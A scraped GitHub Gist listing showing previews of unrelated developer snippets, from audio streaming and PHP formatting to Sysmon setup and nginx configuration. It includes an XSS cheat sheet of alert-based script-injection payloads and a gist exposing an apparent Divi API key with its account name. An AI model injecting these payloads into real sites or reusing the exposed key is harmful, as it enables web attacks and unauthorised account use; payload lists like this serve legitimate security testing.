Skip to content

Instantly share code, notes, and snippets.

@ykst
ykst / gist:6e80e3566bd6b9d63d19
Last active March 2, 2025 15:22
WebAudio+WebSocketでブラウザへの音声リアルタイムストリーミングを実装する

WebAudio+WebSocketでブラウザへの音声リアルタイムストリーミングを実装する

WebRTCでやれよ!と言われそうなところですが、 WebSocket+WebAudioの組み合わせで音声ストリーミングをシンプルに構成する方法を紹介してみます。

サーバーサイド(Node.js + ws + pcm)

サーバーサイドは何でも良いのですが、 とりあえずNode.jsでtest.mp3というサンプルファイルをpcmモジュールでデコードし、 wsでクライアントに垂れ流す作りにしておきます。

@kurobeats
kurobeats / xss_vectors.txt
Last active March 2, 2025 15:21
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@macsplit
macsplit / pretty.php
Created October 18, 2022 11:22
Pretty Print PHP Object as JSON with Horizontal Alignment of Colons
<?php
/*
JSON Encode Pretty Print with horizontal alignment of colons
json_encode( $obj, JSON_PRETTY_PRINT | JSON_NUMERIC_CHECK)
{
"title": "languages",
@macsplit
macsplit / tabulate
Last active March 2, 2025 15:19
Format MySQL output as Markdown
#!/usr/bin/php
<?php
// Usage: /usr/bin/mysql DBNAME -u USERNAME -pPASSWORD -t -e "SELECT * FROM mytable" | tabulate
define ('MAX_ROW_WIDTH', 140);
define ('MAX_DATA_WIDTH', 100);
function convert ($table) {
@0xmachos
0xmachos / Keychain.md
Last active March 2, 2025 15:18
Useful resources for working with iOS/ macOS Keychain API

Keychain API

kSecAttrAccessible Mapping

Protection Domain (pdmn) Keychain Accessibility Values
ck kSecAttrAccessibleAfterFirstUnlock
cku kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
dk kSecAttrAccessibleAlways
akpu kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
@ecapuano
ecapuano / better_event_logging.ps1
Created March 1, 2025 17:50
A PowerShell script for installing Sysmon and enabling best-practice audit logs.
# ================================================
# Sysmon & Windows Event Log Configuration Script
# ================================================
# Check for administrative privileges
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Host "This script requires administrative privileges. Please run as an administrator." -ForegroundColor Red
exit 1
@mrjk
mrjk / cli-app-typer.py
Last active March 2, 2025 15:15
A quite complete example of python CLI Typer boilerplate [python] (Archive)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Version: 08-2024
# Migrated to: https://github.com/mrjk/python_snippets/blob/main/examples/typer/cli-app-typer.py
"""MyApp CLI interface
This CLI provides a similar experience as the git CLI, but in Python with Typer.
@maksadbek
maksadbek / nginx.conf
Created January 3, 2017 17:51
nginx configuration for HLS live video streaming
worker_processes 1;
error_log logs/error.log debug;
events {
worker_connections 1024;
}
rtmp {
server {
listen 1935;
allow play all;
@Megarmax
Megarmax / DIVI API Key
Created March 2, 2025 15:11 — forked from KaziNizamul/DIVI API Key
DIVI API Key
easyweb-italia
4764fbb159e067e22458285444e844c313f26d6d
easyweb-italia
4764fbb159e067e22458285444e844c313f26d6d